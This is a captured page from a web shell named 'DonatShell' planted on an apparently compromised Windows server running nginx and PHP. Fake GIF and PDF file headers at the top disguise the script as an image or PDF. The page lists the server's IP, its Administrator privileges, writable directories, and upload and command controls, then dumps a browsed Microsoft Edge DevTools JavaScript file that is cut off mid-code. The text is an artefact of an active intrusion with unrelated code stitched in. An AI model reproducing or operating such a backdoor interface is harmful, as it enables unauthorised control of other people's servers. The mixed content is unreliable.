GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Windows/SystemApps/Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe/23/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Windows/SystemApps/Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe/23/common//CommonMerged.js
!function(e){!function(e){"use strict";e.ExternalApis=(frameElement?window.parent.__externalApis:null)||window.__externalApis||external||{}}(e.Host||(e.Host={}))}(F12||(F12={}));!function(e){!function(e){!function(e){"use strict";class t{static isTrue(e,i){if(!e){i=i?"Internal error. "+i:"Internal error. Unexpectedly false.";t.fail(i)}}static isFalse(e,i){if(e){i=i?"Internal error. "+i:"Internal error. Unexpectedly true.";t.fail(i)}}static isNull(e,i){if(null!==e){i=i?"Internal error. "+i:"Internal error. Unexpectedly not null.";i+=" '"+e+"'";t.fail(i)}}static isUndefined(e,i){0;if(void 0!==e){i=i?"Internal error. "+i:"Internal error. Unexpectedly not undefined.";i+=" '"+e+"'";t.fail(i)}}static hasValue(e,i){if(null===e||void 0===e){i=i?"Internal error. "+i:"Internal error. Unexpectedly "+(null===e?"null":"undefined")+".";t.fail(i)}}static areEqual(e,i,s){if(e!==i){s=s?"Internal error. "+s:"Internal error. Unexpectedly not equal.";s+=" '"+e+"' !== '"+i+"'.";t.fail(s)}}static areNotEqual(e,i,s){if(e===i){s=s?"Internal error. "+s:"Internal error. Unexpectedly equal.";s+=" '"+e+"' === '"+i+"'.";t.fail(s)}}static throws(e,i){try{e();i=i?"Internal error. "+i:"Internal error. Unexpectedly didn't throw.";t.fail(i)}catch(e){return}}static fail(e){t.fail_helper(e,!0)}static reportWatson(e){t.fail_helper(e,!1)}static failDebugOnly(e){isDebugBuild&&t.fail(e)}static fail_helper(e,t){var i=new Error((e||"Assert failed.")+"\n");try{throw i}catch(e){var s=void 0!==Common&&Common&&Common.ErrorHandling,n="undefined"!=typeof Microsoft&&Microsoft&&Microsoft.Plugin&&Microsoft.Plugin.F12&&Microsoft.Plugin.F12.SelfTest;s&&n&&!Microsoft.Plugin.F12.SelfTest.selfTestEnabled&&Common.ErrorHandling.reportErrorGivenStack(e);if(isDebugBuild||t){e.stack&&(e.description=e.stack);throw e}}}}e.Assert=t}(e.Utility||(e.Utility={}))}(e.Tools||(e.Tools={}))}(F12||(F12={}));!function(e){let t;!function(e){function t(e){return"cancel"in e}e.isCancelable=t;function i(e){return"object"==typeof e&&!!e.cancel}e.isCancelablePromise=i}(t=e.Promises||(e.Promises={}))}(Common||(Common={}));!function(e){!function(e){class t extends Error{constructor(e="The operation was canceled."){super(e);this.name="CancelledError"}}e.CancelledError=t}(e.Promises||(e.Promises={}))}(Common||(Common={}));!function(e){!function(t){var i=e.Promises.CancelledError;class s{constructor(e,t){this.tryCancel=t;this._state="initialized";let i,s;this._internalPromise=new Promise((e,t)=>{i=e;s=t});this._internalReject=s;setImmediate(()=>{e(e=>{if("initialized"===this._state){this._state="resolved";i(e)}},e=>{if("initialized"===this._state){this._state="rejected";s(e)}},()=>{this.cancel()})})}then(e,t){return this._internalPromise.then(e,t)}catch(e){return this._internalPromise.catch(e)}cancel(){if("initialized"===this._state&&this.tryCancel()){this._state="cancelled";this._internalReject(new i)}}static timeout(e){let t=!1,i=!1,n=NaN;return new s((s,o)=>{n=setTimeout(()=>{if(!t){i=!0;s(void 0)}},e)},()=>{if(!i){t=!0;clearTimeout(n);return!0}return!1})}static wrap(e){return new s((t,i,s)=>{e.then(t,i).catch(i)},()=>!0)}}t.CancelablePromise=s}(e.Promises||(e.Promises={}))}(Common||(Common={}));!function(e){"use strict";let t;!function(e){class t{constructor(e){this.alertElement=e}setAlertMessage(e){this.alertElement&&(this.alertElement.innerText=e)}}e.AriaAnnouncer=t}(t=e.Accessibility||(e.Accessibility={}))}(Common||(Common={}));!function(e){!function(e){const t=(e,t)=>Microsoft.Plugin.Resources.getString(e,t),i="/Common/DOMExplorerMissingElementError";class s{constructor(e){this.narratorHelper=e;this._breakpoints=new Map;this._idsToUids=new Map;this._uidsToIds=new Map;this._pendingBreakpoints=new Map;this._unbounds=[];this._bpSet=[];this._bpEnabledChanged=[];this._bindFailed=[];this._pageChanged=[];this._bindPending=[];this._bindingMetrics=[];this._pendingRemoved=[];this._caughtUp=[]}addBreakpoint(e,t,i,s,n,o,r){this._breakpoints.set(e,{types:i,isEnabled:s,selector:n,documentUrl:o,elementUniqueId:e,breakpointId:t});this._idsToUids.set(t,e);this._uidsToIds.set(e,t);r&&this._pendingBreakpoints.delete(r);this.onDmbpSet(e,t,i,s,n,o)}unbindBreakpoint(e,t){let i=this._idsToUids.get(e);if(i){let s=this._breakpoints.get(i);this._breakpoints.delete(i);this._idsToUids.delete(e);this._uidsToIds.delete(i);this.onDmbpUnbound(i,s?s.selector:"",t)}}changeEnabledState(e,t){let i=this._idsToUids.get(e);if(i){let e=this._breakpoints.get(i);if(e){e.isEnabled=t;this.onDmbpEnabledChanged(i,t)}}}addPendingBreakpoints(e){for(let t of e)this._pendingBreakpoints.set(t.pendingId,t)}removePendingBreakpoint(e){this._pendingBreakpoints.delete(e);this.onPendingBreakpointRemoved(e)}unloadDocument(e,t){if(t){this._pendingBreakpoints.clear();this._uidsToIds.clear();this._idsToUids.clear();this._breakpoints.clear()}else{let t=[];this._pendingBreakpoints.forEach(i=>{i.documentUrl===e&&t.push(i.pendingId)});for(let e of t)this._pendingBreakpoints.delete(e);let i=[],s=[];this._breakpoints.forEach(t=>{if(t.documentUrl===e){i.push(t.breakpointId);s.push(t.elementUniqueId)}});for(let e of i)this._idsToUids.delete(e);for(let e of s){this._uidsToIds.delete(e);this._breakpoints.delete(e)}}}onDmbpSet(e,t,i,s,n,o){}onDmbpUnbound(e,t,i){}onDmbpEnabledChanged(e,t){}onPendingBreakpointRemoved(e){this.fireEvent("domMutationPendingBreakpointRemoved",e)}isBreakpointSet(e,t){let i=this._breakpoints.get(e);return!!i&&i.types.indexOf(t)>-1}getBreakpointState(e){return this._breakpoints.get(e)}getBreakpointsTypesForElement(e){let t=this._breakpoints.get(e);return t?t.types.slice():[]}getDomMutationBreakpointEnabledState(e){let t=this.getBreakpointById(e);return!!t&&t.isEnabled}getBreakpointById(e){let t=this._idsToUids.get(e);return t?this._breakpoints.get(t):null}toggleBreakpointForElement(e,s){var n=this.getBreakpointsTypesForElement(e);if(-1===n.indexOf(s)){let o=n.slice();o.push(s);this.setDomMutationBreakpoint(e,o).then(e=>{},e=>{this.showError(t(i))});return!0}if(1===n.length){let s=this._uidsToIds.get(e);this.removeDomMutationBreakpoint(s).then(()=>{},e=>{this.showError(t(i))})}else{n.splice(n.indexOf(s),1);this.setDomMutationBreakpoint(e,n).then(e=>{},e=>{this.showError(t(i))})}return!1}getBreakpoints(){let e=[];this._breakpoints.forEach(t=>{e.push(t)});return e}getPendingBreakpoints(){let e=[];this._pendingBreakpoints.forEach(t=>{e.push(t)});return e}getPendingBreakpointById(e){return this._pendingBreakpoints.get(e)}addEventListener(e,t){switch(e){case"domMutationBreakpointSet":this._bpSet.push(t);break;case"domMutationBreakpointUnbound":this._unbounds.push(t);break;case"domMutationBreakpointEnabledChanged":this._bpEnabledChanged.push(t);break;case"domMutationBreakpointBindingFailed":this._bindFailed.push(t);break;case"domMutationBreakpointPageChanged":this._pageChanged.push(t);break;case"domMutationBreakpointPendingRegistration":this._bindPending.push(t);break;case"domMutationBreakpointBindingMetrics":this._bindingMetrics.push(t);break;case"domMutationPendingBreakpointRemoved":this._pendingRemoved.push(t);break;case"caughtUp":this._caughtUp.push(t)}}removeEventListener(e,t){let i=-1;switch(e){case"domMutationBreakpointSet":(i=this._bpSet.indexOf(t))>-1&&this._bpSet.splice(i,1);break;case"domMutationBreakpointUnbound":(i=this._unbounds.indexOf(t))>-1&&this._unbounds.splice(i,1);break;case"domMutationBreakpointEnabledChanged":(i=this._bpEnabledChanged.indexOf(t))>-1&&this._bpEnabledChanged.splice(i,1);break;case"domMutationBreakpointBindingFailed":(i=this._bindFailed.indexOf(t))>-1&&this._bpEnabledChanged.splice(i,1);break;case"domMutationBreakpointPageChanged":(i=this._pageChanged.indexOf(t))>-1&&this._pageChanged.splice(i,1);break;case"domMutationBreakpointPendingRegistration":(i=this._bindPending.indexOf(t))>-1&&this._bindPending.splice(i,1);break;case"domMutationBreakpointBindingMetrics":(i=this._bindingMetrics.indexOf(t))>-1&&this._bindingMetrics.splice(i,1);break;case"domMutationPendingBreakpointRemoved":(i=this._pendingRemoved.indexOf(t))>-1&&this._pendingRemoved.splice(i,1);break;case"caughtUp":(i=this._caughtUp.indexOf(t))>-1&&this._caughtUp.splice(i,1)}}fireEvent(e,t){switch(e){case"domMutationBreakpointSet":this.triggerCallbacks(this._bpSet,t);break;case"domMutationBreakpointUnbound":this.triggerCallbacks(this._unbounds,t);break;case"domMutationBreakpointEnabledChanged":this.triggerCallbacks(this._bpEnabledChanged,t);break;case"domMutationBreakpointBindingFailed":this.triggerCallbacks(this._bindFailed,t);break;case"domMutationBreakpointPageChanged":this.triggerCallbacks(this._pageChanged,t);break;case"domMutationBreakpointPendingRegistration":this.triggerCallbacks(this._bindPending,t);break;case"domMutationBreakpointBindingMetrics":this.triggerCallbacks(this._bindingMetrics,t);break;case"domMutationPendingBreakpointRemoved":this.triggerCallbacks(this._pendingRemoved,t);break;case"caughtUp":this.triggerCallbacks(this._caughtUp,void 0)}}tryAnnounce(e){this.narratorHelper&&this.narratorHelper.tryNarratorAnnounce(e)}showError(e){}triggerCallbacks(e,t){for(const i of e)i(t)}}e.DmbpManagerBase=s}(e.DomMutationBreakpoints||(e.DomMutationBreakpoints={}))}(F12||(F12={}));const ES6Proxy=window.Proxy;var ControlTemplates,PerfTools,Common,F12;!function(e){"use strict";function t(e){const t=e.replace(/\//g,"_")+"_";return new ES6Proxy({},{get(e,i){const s=t+i;try{return Microsoft.Plugin.Resources.getString(s)}catch(e){return isDebugBuild?"MISSING STRING "+s:""}}})}if("undefined"!=typeof define){const e=new ES6Proxy({},{get:(e,i)=>t(i)});define("vs/base/common/worker/workerServer.nls",e);define("vs/languages/html/common/htmlWorker.nls",e);define("vs/base/common/worker/simpleWorker.nls",e);define("vs/editor/editor.main.nls",e)}}(Common||(Common={}));!function(e){!function(e){!function(e){"use strict";e.F12ThemeName="f12-theme";const t=/rgba?\((\d*)\s*,\s*(\d*)\s*,\s*(\d*)/i;Microsoft.Plugin.Theme.addEventListener("themechanged",i);function i(){window.require&&require(["vs/editor/editor.main"],r)}function s(){return F12.Host.ExternalApis.utilities.isHighContrast()}function n(e){return F12.Host.ExternalApis.utilities.getHighContrastReplacements()[e]}function o(){return s()&&"rgb(0, 0, 0)"===n("<COLOR_WINDOW>")?"hc-black":"vs"}function r(){monaco.editor.defineTheme(e.F12ThemeName,{base:o(),inherit:!0,rules:[{token:"",foreground:a("plugin-font-editor-color")},{token:"comment",foreground:a("plugin-font-editor-comment-color")},{token:"meta",foreground:a("plugin-font-editor-comment-color")},{token:"meta.content.html",foreground:a("plugin-font-editor-comment-color")},{token:"meta.content.xml",foreground:a("plugin-font-editor-comment-color")},{token:"meta.html",foreground:a("plugin-font-editor-comment-color")},{token:"meta.xml",foreground:a("plugin-font-editor-comment-color")},{token:"number",foreground:a("plugin-font-editor-number-color")},{token:"regexp",foreground:a("plugin-font-editor-number-color")},{token:"string",foreground:a("plugin-font-editor-string-color")},{token:"identifier",foreground:a("plugin-font-editor-color")},{token:"keyword",foreground:a("plugin-font-editor-keyword-color")},{token:"key",foreground:a("plugin-font-editor-literal-color")},{token:"keyword",foreground:a("plugin-font-editor-keyword-color")},{token:"variable",foreground:a("plugin-font-editor-identifier-color")},{token:"attribute.name",foreground:a("plugin-font-editor-html-attribute-name-color")},{token:"attribute.name.html",foreground:a("plugin-font-editor-html-attribute-name-color")},{token:"attribute.name.xml",foreground:a("plugin-font-editor-html-element-color")},{token:"attribute.name.css",foreground:a("plugin-font-editor-css-name-color")},{token:"attribute.value",foreground:a("plugin-font-editor-html-attribute-value-color")},{token:"attribute.value.css",foreground:a("plugin-font-editor-css-value-color")},{token:"attribute.value.xml",foreground:a("plugin-font-editor-html-tag-color")},{token:"attribute.value.html",foreground:a("plugin-font-editor-html-attribute-value-color")},{token:"tag",foreground:a("plugin-font-editor-html-element-color")},{token:"tag.html",foreground:a("plugin-font-editor-html-element-color")},{token:"tag.xml",foreground:a("plugin-font-editor-comment-color")},{token:"tag.css",foreground:a("plugin-font-editor-css-selector-color")},{token:"delimiter",foreground:a("plugin-font-editor-color")},{token:"delimiter.js",foreground:a("plugin-font-editor-color")},{token:"delimiter.css",foreground:a("plugin-font-editor-html-tag-color")},{token:"delimiter.html",foreground:a("plugin-font-editor-html-tag-color")},{token:"delimiter.xml",foreground:a("plugin-font-editor-html-tag-color")},{token:"meta.content.html",foreground:a("plugin-font-editor-comment-color")},{token:"meta.content.xml",foreground:a("plugin-font-editor-comment-color")}]})}e.defineF12MonacoTheme=r;function a(e){var t=Microsoft.Plugin.Theme.getValue(e);return t.startsWith("#")?t.substring(1):l(t)}function l(e){var i=e.match(t);return i&&4===i.length?d(Number(i[1]),Number(i[2]),Number(i[3])):e}function h(e){var t=e.toString(16);return 1===t.length?"0"+t:t}function d(e,t,i){return h(e)+h(t)+h(i)}}(e.Theme||(e.Theme={}))}(e.Editor||(e.Editor={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{static encode(e){if(e<64&&e>=0)return t.EncodedValues.charAt(e);throw TypeError(e+": not a 64 based value")}static decodeChar(e){if(1===e.length)return t.EncodedValues.indexOf(e);throw TypeError("'"+e+"' must have length 1")}}t.EncodedValues="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";class i{static encode(e){if(null===e||typeof e===i.UndefinedType)return null;e<0?e=1+(-e<<1):e<<=1;var s="";do{var n=31&e;(e>>=5)>0&&(n|=32);s+=t.encode(n)}while(e>0);return s}static decode(e,i){for(var s=0,n=!1,o=0,r=i;r<e.length;r++){var a=t.decodeChar(e[r]);if(r===i){if(-1===a)return null;1==(1&a)&&(n=!0);s=a>>1&15}else s|=(31&a)<<o;o+=r===i?4:5;if(32!=(32&a))return{value:n?-s:s,charsRead:r-i+1}}}}i.UndefinedType="undefined";e.Base64VLQFormat=i}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e=t.FormatServiceHelper.DefaultServices){this._services=e;this.options=new t.FormatterOptions}get canFormat(){return this.sourceText&&this.sourceText.text&&this.sourceText.text.trim().length>0}static supportsMimeType(e){return!!e&&"text/css"===e.toLowerCase()}updateOptions(e){this.options.prettyPrint=e.prettyPrint;this.options.sourcemapSupport=e.sourcemapSupport}setDocument(e,i,s,n,o){this.sourceText=new t.PositionOffsetMapper(e);this.options.prettyPrint&&o&&(this._prettyPrintPromise=this.startPrettyPrinting());return Promise.resolve(null)}getFormattedText(e){if(this.options.prettyPrint){this._prettyPrintPromise=this._prettyPrintPromise||this.startPrettyPrinting();return this._prettyPrintPromise}return Promise.resolve(this.sourceText)}startPrettyPrinting(){return new Promise(i=>{window.setImmediate(()=>{var s=t.FormatServiceHelper.getWorkerServices(new e.Uri("css/CssFormatWorker.js"),this._services),n=new Worker(s.path);n.onmessage=(e=>{var s=e.data,o=new t.OffsetTextMapping(s.text,s.mappings,this.sourceText.text);n.terminate();i(o);this._prettyPrintPromise=null});n.onerror=(e=>{n.terminate();this._prettyPrintPromise=null;throw new Error(e)});n.postMessage({services:s.services,text:this.sourceText.text})})})}}t.CssFormatter=i}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(t){"use strict";let i;!function(t){t.DefaultServices={commonRoot:"../common/",editorRoot:"../common/monaco-editor/min/vs/",formatterRoot:"../common/formatter/"};function i(i,s=t.DefaultServices){var n=e.Uri.getCurrent(),o=new e.Uri(n,s.commonRoot),r=new e.Uri(n,s.editorRoot),a=new e.Uri(n,s.formatterRoot);i=new e.Uri(a,i);return{path:n.makeRelative(i).toString(),services:{commonRoot:i.makeRelative(o).toString(),editorRoot:i.makeRelative(r).toString(),formatterRoot:i.makeRelative(a).toString()}}}t.getWorkerServices=i}(i=t.FormatServiceHelper||(t.FormatServiceHelper={}))}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,i,s,n,o){F12.Tools.Utility.Assert.isTrue(2===e||1===e,"Invalid sourceType");F12.Tools.Utility.Assert.hasValue(n&&n.length,"sourceSpans are required");this.sourceType=e;this.text=i;this._originalText=s;this._sourceSpans=n;this.errorMessage=o||s.errorMessage;this._formattedOffsets=t.calculateLineOffsets(i)}static calculateLineOffsets(e){var t=0,i=[];i[t]=0;if(e)for(var s=0;s<e.length;s++)"\n"===e.charAt(s)&&(i[++t]=s+1);return i}getOffsetMappings(){for(var e=[],t=this._sourceSpans[0].sourcemap.allMappings,i=0;i<t.length;i++){var s=t[i];e.push({originalOffset:this._originalText.positionToOffset({line:s.sourceLine,column:s.sourceColumn,file:0}),mappedOffset:this.positionToOffset({line:s.generatedLine,column:s.generatedColumn,file:0})})}return e}getOriginalPosition(e){var t=this.getOriginalOffset(e);return this._originalText.getOriginalPosition(this._originalText.offsetToPosition(t))}getMappedPosition(t){t=this._originalText.getMappedPosition(t);var i,s,n=this._originalText.positionToOffset(t),o=this._originalText.text.length;if(0===o)return new e.Position(0,0);n<0&&(n=0);n>=o&&(n=o-1);for(s=0;s<this._sourceSpans.length;s++)if(this._sourceSpans[s].start<=n&&this._sourceSpans[s].end>=n){i=this._sourceSpans[s];break}F12.Tools.Utility.Assert.isTrue(s<this._sourceSpans.length,"Could not find source code for offset");var r=i.getPosition(n-i.start);i.sourcemap&&(r=i.sourcemap.getGeneratedPosition(r));r.line+=i.generatedLineOffset;return r}positionToOffset(e){return this._formattedOffsets[e.line]+e.column}offsetToPosition(t){for(var i=0;i<this._formattedOffsets.length&&!(this._formattedOffsets[i]>t);i++);i--;return new e.Position(i,t-this._formattedOffsets[i],0)}getOriginalOffset(t){if(0===this._originalText.text.length)return 0;for(var i=new e.Position(t.line,t.column,t.file),s=0;s<this._sourceSpans.length-1&&!(i.line<this._sourceSpans[s+1].generatedLineOffset);s++);var n=this._sourceSpans[s];i.line-=n.generatedLineOffset;n.sourcemap&&(i=n.sourcemap.getOriginalPosition(i));return n.getOffset(i)}}e.FormattedTextMapping=t;class i{constructor(e,t){this.originalOffset=e;this.mappedOffset=t}}e.OffsetMappingPair=i;class s{constructor(e,t,i){this.text=e;this.mappings=t;this._originalTextMapper=new n(i);this._mappedTextMapper=new n(e)}getOriginalPosition(e){for(var t=this._mappedTextMapper.positionToOffset(e),i=this.mappings.length-1;i>=0;i--)if(t>=this.mappings[i].mappedOffset){var s=t-this.mappings[i].mappedOffset;return this._originalTextMapper.offsetToPosition(this.mappings[i].originalOffset+s)}return this._mappedTextMapper.offsetToPosition(0)}getMappedPosition(e){for(var t=this._originalTextMapper.positionToOffset(e),i=this.mappings.length-1;i>=0;i--)if(t>=this.mappings[i].originalOffset){var s=t-this.mappings[i].originalOffset;return this._mappedTextMapper.offsetToPosition(this.mappings[i].mappedOffset+s)}return this._mappedTextMapper.offsetToPosition(0)}positionToOffset(e){return this._mappedTextMapper.positionToOffset(e)}offsetToPosition(e){return this._mappedTextMapper.offsetToPosition(e)}getOffsetMappings(){return this.mappings}}e.OffsetTextMapping=s;class n{constructor(e){this.text=e||"";this._newlineOffsets=[0];for(var t;(t=e.indexOf("\n",t+1))>-1;)this._newlineOffsets.push(t+1)}positionToOffset(e){if(!e)return 0;var t=e.line;t>=this._newlineOffsets.length&&(t=Math.max(0,this._newlineOffsets.length-1));return this._newlineOffsets[t]+e.column}offsetToPosition(e){e=Math.max(e,0);for(var t=this._newlineOffsets.length-1;t>=0;t--)if(this._newlineOffsets[t]<=e)return{line:t,column:e-this._newlineOffsets[t],file:0};return{line:0,column:e,file:0}}getOriginalPosition(e){return e}getMappedPosition(e){return e}getOffsetMappings(){return[]}}e.PositionOffsetMapper=n}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(t){"use strict";var i=e.Promises.isCancelablePromise,s=e.Promises.CancelablePromise;class n{constructor(e=t.FormatServiceHelper.DefaultServices){this._options=null;this._services=e;this._sourceText=null;this._sourceInfo=null;this._options=new t.FormatterOptions;this._canBePrettyPrinted=!0;this._prettyPrintPromise=null}get canFormat(){return this._canBePrettyPrinted}get sourceText(){return this._sourceText}get options(){return this._options}updateOptions(e){this._options.updateAllOptions(e)}setDocument(e,s,n,o,r){F12.Tools.Utility.Assert.hasValue(e,"source does not have a value.");return new Promise((s,o)=>{this._sourceText=new t.UnmappedTextMapping(e);this._sourceInfo={name:"",mimeType:n,sourceType:2};this._canBePrettyPrinted=e.length>0&&!/^[\s;]+$/.test(e);if(this._prettyPrintPromise){i(this._prettyPrintPromise)&&this._prettyPrintPromise.cancel();this._prettyPrintPromise=null}r&&this._canBePrettyPrinted&&this.formatSource(this._options.forceChunking);s(this._sourceInfo)})}getFormattedText(e){F12.Tools.Utility.Assert.isTrue(!!this.sourceText,"Must call setDocument first");if(2===((e=e||this._options).prettyPrint&&this._canBePrettyPrinted?2:0)){this._prettyPrintPromise||this.formatSource(e.forceChunking);F12.Tools.Utility.Assert.hasValue(this._prettyPrintPromise,"No pretty print promise.");return this._prettyPrintPromise}return Promise.resolve(this._sourceText)}formatSource(i){let n=null;F12.Tools.Utility.Assert.isTrue(this._canBePrettyPrinted,"Source cannot be pretty printed.");if(this._prettyPrintPromise)return;let o=()=>{if(n){n.terminate();return!0}n=null;return!1};this._prettyPrintPromise=new s((s,r,a)=>{window.setImmediate(()=>{var r=t.FormatServiceHelper.getWorkerServices(new e.Uri("formatWorker.js"),this._services),a=null;(n=new Worker(r.path)).onerror=(i=>{this._canBePrettyPrinted=!1;a=e.ToolWindowHelpers.loadString("FormatterInternalError");o();s(new t.UnmappedTextMapping(this._sourceText.text,a))});var l=[];n.onmessage=(i=>{i.error&&F12.Tools.Utility.Assert.failDebugOnly(i.errorMessage);if(void 0===i.data.generatedSourceSpanIndex){var o=i.data;this._canBePrettyPrinted=o.canBePrettyPrinted;var r=null;if(this._canBePrettyPrinted){var h=o.generatedSourceSpanData,d=[];for(p=0;p<h.length;p++){if(l[p]){F12.Tools.Utility.Assert.isNull(h[p].mappings);h[p].mappings=l[p]}var c=new t.SourceSpan(h[p]);d.push(c)}if(o.error){a=e.ToolWindowHelpers.loadString(d.length>1?"FormatterEmbededJSInternalError":"FormatterInternalError");if(o.errorMessage.length>0){a+="\n";a+=o.errorMessage}}r=new t.FormattedTextMapping(2,o.formattedText,this._sourceText,d,a)}n.terminate();n=null;s(r||this.sourceText)}else{var u=i.data;l[u.generatedSourceSpanIndex]||(l[u.generatedSourceSpanIndex]=[]);for(var m=l[u.generatedSourceSpanIndex],p=0;p<u.mappings.length;p++)m.push(u.mappings[p])}});var h=new t.WorkerSendMessage;h.source=this._sourceText.text;h.mimeType=this._sourceInfo.mimeType;h.commonUrl=r.services.commonRoot;h.loader=r.services.editorRoot;h.forceResponseChunking=i;n.postMessage(h)})},o)}}t.ScriptFormatter=n}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(){this._prettyPrint=!1;this._sourcemapSupport=!1}get sourcemapSupport(){return this._sourcemapSupport}set sourcemapSupport(e){this._sourcemapSupport=e}get prettyPrint(){return this._prettyPrint}set prettyPrint(e){this._prettyPrint=e}get forceChunking(){return this._forceChunking}set forceChunking(e){this._forceChunking=e}updateAllOptions(e){this.prettyPrint=e.prettyPrint||!1;this.sourcemapSupport=e.sourcemapSupport||!1;this.forceChunking=e.forceChunking}}e.FormatterOptions=t}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e=t.FormatServiceHelper.DefaultServices){this.options={};this._services=e;this.options=new t.FormatterOptions}get canFormat(){return this.sourceText&&this.sourceText.text&&this.sourceText.text.trim().length>0}static supportsMimeType(e){if(e){var t=e.toLowerCase();return"text/html"===t||"application/xml"===t||t.lastIndexOf("+xml")===t.length-4}return!1}updateOptions(e){this.options.updateAllOptions(e)}setDocument(e,i,s,n,o){this.sourceText=new t.PositionOffsetMapper(e);this.options.prettyPrint&&o&&(this._prettyPrintPromise=this.startPrettyPrint());return Promise.resolve(null)}getFormattedText(e){if(this.options.prettyPrint){this._prettyPrintPromise=this._prettyPrintPromise||this.startPrettyPrint();return this._prettyPrintPromise}return Promise.resolve(this.sourceText)}startPrettyPrint(){return new Promise(i=>{window.setImmediate(()=>{var s=t.FormatServiceHelper.getWorkerServices(new e.Uri("Html/HtmlFormatWorker.js"),this._services),n=new Worker(s.path);n.onmessage=(e=>{var s=JSON.parse(e.data),o=new t.OffsetTextMapping(s.text,s.mappings,this.sourceText.text);n.terminate();i(o);this._prettyPrintPromise=null});n.onerror=(e=>{n.terminate();i(this.sourceText);this._prettyPrintPromise=null});n.postMessage({services:s.services,text:this.sourceText.text})})})}}t.HtmlFormatter=i}(e.FormatService||(e.FormatService={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e){F12.Tools.Utility.Assert.hasValue(e,"Need to set a valid source");this._source=e;this._sourceSpans=null;this._earlyEnd=!1}get sourceSpans(){null===this._sourceSpans&&this.findScriptTags();return this._sourceSpans}static isSupportedScript(e,t){var i=e?e.toLocaleLowerCase():"",s=t?t.toLocaleLowerCase():"";return!i&&!s||"text/javascript"===i||"text/jscript"===i||"application/javascript"===i||"application/x-javascript"===i||"text/ecmascript"===i||"javascript"===s||"jscript"===s||"ecmascript"===s}findScriptTags(){this._index=0;this._sourceSpans=[];this._htmlStart=0;var t=this._source;do{if("<"===t[this._index]){if(this._index+1>=t.length)break;"!"===t[this._index+1]?this._index+3<this._source.length&&"-"===this._source[this._index+2]&&"-"===this._source[this._index+3]?this.parseComment():this.parseTag():"?"===t[this._index+1]?this.parseTag():(t[this._index+1].match(/[a-zA-Z]/)||"_"===t[this._index+1]||"/"===t[this._index+1]&&this._index+2<t.length&&(t[this._index+2].match(/a-zA-Z/)||"_"===t[this._index+2]))&&this.parseTag()}}while(++this._index<t.length);this._earlyEnd||this._sourceSpans.push(new e.SourceSpanBuilder(this._htmlStart,this._source.length-1,!1))}parseComment(){F12.Tools.Utility.Assert.areEqual(this._source[this._index],"<");F12.Tools.Utility.Assert.areEqual(this._source[this._index+1],"!");F12.Tools.Utility.Assert.areEqual(this._source[this._index+2],"-");F12.Tools.Utility.Assert.areEqual(this._source[this._index+3],"-");this._index+=3;for(;++this._index<this._source.length;)if("-"===this._source[this._index]&&this._index+2<this._source.length&&"-"===this._source[this._index+1]&&">"===this._source[this._index+2]){this._index+=2;return}}parseTag(){F12.Tools.Utility.Assert.areEqual(this._source[this._index],"<");var e=!1;this._index+1<this._source.length&&("/"===this._source[this._index+1]||"!"===this._source[this._index+1]||"?"===this._source[this._index+1])&&(e=!0);for(var t,i,s=!1,n=!1,o=!1,r=!1,a="",l="";++this._index<this._source.length;)switch(this._source[this._index]){case">":"/"!==this._source[this._index-1]&&"?"!==this._source[this._index-1]||(e=!0);if(!e&&t&&"script"===t.toLowerCase()){++this._index;this.findScriptEnd(a,l)}return;case'"':i=this.parseQuotedValue('"');s=!1;if(o){a=i;o=!1}if(r){l=i;r=!1}break;case"'":i=this.parseQuotedValue("'");s=!1;if(o){a=i;o=!1}if(r){l=i;r=!1}break;case"=":s=!0;break;default:if(s&&!this._source[this._index].match(/\s/)){i=this.parsePropertyValue();s=!1;if(o){a=i;o=!1}if(r){l=i;r=!1}}else if(this._source[this._index].match(/[a-zA-Z]/)||"_"===this._source[this._index])if(n)"type"===(i=this.parseAttribute()).toLowerCase()?o=!0:"language"!==i.toLowerCase()||o||(r=!0);else{t=this.parseElement();n=!0}}}findScriptEnd(i,s){var n=this._index,o=t.isSupportedScript(i,s),r="</script";do{if("<"===this._source[this._index]&&this._index+r.length<this._source.length&&this._source.substr(this._index,r.length).toLowerCase()===r){this._index-=1;var a=this._index;if(o&&n<a){var l=new e.SourceSpanBuilder(this._htmlStart,n-1,!1);this._sourceSpans.push(l);this._htmlStart=a+1;l=new e.SourceSpanBuilder(n,a,!0);this._sourceSpans.push(l)}break}}while(++this._index<this._source.length);if(this._index===this._source.length&&o){l=new e.SourceSpanBuilder(this._htmlStart,n-1,!1);this._sourceSpans.push(l);l=new e.SourceSpanBuilder(n,this._index-1,!0);this._sourceSpans.push(l);this._earlyEnd=!0}}parseQuotedValue(e){F12.Tools.Utility.Assert.isTrue('"'===e||"'"===e,"Invalid quote type");F12.Tools.Utility.Assert.areEqual(this._source[this._index],e);for(var t="";++this._index<this._source.length;){if(this._source[this._index]===e)return t;"\n"===this._source[this._index]||(t+=this._source[this._index])}F12.Tools.Utility.Assert.fail("Should not be here");return null}parsePropertyValue(){var e="";do{switch(this._source[this._index]){case">":this._index--;return e;default:if(this._source[this._index].match(/\s/)){this._index--;return 